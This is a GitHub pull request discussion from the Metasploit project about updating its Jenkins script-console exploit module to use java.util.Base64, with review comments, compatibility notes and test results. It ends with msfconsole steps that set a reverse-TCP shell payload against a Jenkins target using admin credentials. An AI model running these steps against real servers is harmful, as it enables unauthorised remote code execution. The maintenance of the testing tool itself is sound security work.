-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Update jenkins_script_console.rb to remove deprecated sun.misc.BASE64Decoder class #16750
Conversation
Modern Java disabled the sun.misc.BASE64Decoder class so exploit will fail on any newer version of Jenkins. The java.util.Base64 class should be used now; the change has been confirmed to work with the latest version of Jenkins (the current exploit silently fails).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Overall looks good to me but see point about removing now non-used variable.
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" | ||
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" | ||
|
||
jcode = "byte[] #{decoded_bytes} = Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\");\n" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Given that decoder is no longer needed here, it might be an idea to get rid of this variable if its no longer being used? Otherwise we are creating a variable here and filling it with random data which will take CPU time, yet the variable never gets used at all.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ah so I think the previous code edition was creating a new instance of the decoder here. Not sure that was actually needed though given we weren't using it more than once within the function so this may be a neater way to run this. Point above still stands though.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ahh indeed, we can get rid of the decoder variable it's not used at all.
This should do it.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So the new method using Base64.getDecoder
requires Java version 1.8. This module has been around since 2014, so we want to make sure that the new technique is going to be backwards compatible lest older versions of Jenkins become incompatible with this exploit.
The best way to handle this would be to figure out the correct decoder to use at runtime so the user doesn't need to worry about it. Alternatively either a target or OptEnum could be used to specify the version, though the user would have to figure it out.
Could also look at removing base64 encoding altogether and properly escaping the java string literal but that is probably the most complicated solution.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looking at https://serverfault.com/questions/488745/which-java-version-should-i-run-jenkins-with shows that at a minimum for a while JDK 1.5 was required, and then in 2017 they published https://jenkins.io/blog/2017/01/17/Jenkins-is-upgrading-to-Java-8/ which stated they would be requiring a minimum of Java 8.
Long and short of it is that we shouldn't expect Base64.getDecoder
to exist as whilst this will be fine for newer versions of Jenkins, it looks like its very possible that older versions wouldn't have this method. In particular OpenJDK 1.5 seems to be based off of Java 5 which won't have this method in it.
Spencer's suggestion to try detect the version of Java on the system and then use the corresponding method would probably be the best here.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Resolved the API compatibility issues in 2e8e15e with some simple error handling. The result works on both Jenkins 1.565 (pushed on 2015-11-14) and Jenkins 2.60.3 (pushed on 2018-07-17). Prior to these changes, there was indeed a regression causing the module to fail on 1.565.
At this point the original problem has been resolved. I did notice another problem while testing 2.346.3 which is failing during the login process because the URI changed from j_acegi_security_check
to j_spring_security_check
(there may be other changes too). That was pushed up on 2022-08-10, so pretty recent. I'll open a separate ticket to track that.
@gwillcox-r7 would you mind retesting this again with the latest changes.
Code changes look good to me but this will still need a run against a Jenkins server to make sure the changes work in a real world case, just to ensure the new code holds up in testing. Otherwise looks good, nice work @bojanisc! |
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools. We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
You can automate most of these changes with the
Please update your branch after these have been made, and reach out if you have any problems. |
Tested successfully on docker image tags: * Jenkins 1.565 (pushed 2015-11-14) * Jenkins 2.60.3 (pushed 2018-07-17) Tested unsuccessfully on docker image tags: * Jenkins 2.346.3 (pushed 2022-08-10) Issue is that login is broken because the URI changed from j_acegi_security_check to j_spring_security_check.
Successfully tested and changes look good to me:
|
Release NotesThis updates the |
Modern Java disabled the sun.misc.BASE64Decoder class so exploit will fail on any newer version of Jenkins.
The java.util.Base64 class should be used now; the change has been confirmed to work with the latest version of Jenkins (the current exploit silently fails).
List the steps needed to make sure this thing works
msfconsole
use exploit/multi/http/jenkins_script_console
set PAYLOAD linux/x86/shell/reverse_tcp
set RHOSTS ...
set RPORT
set username admin
set API_TOKEN xxx
run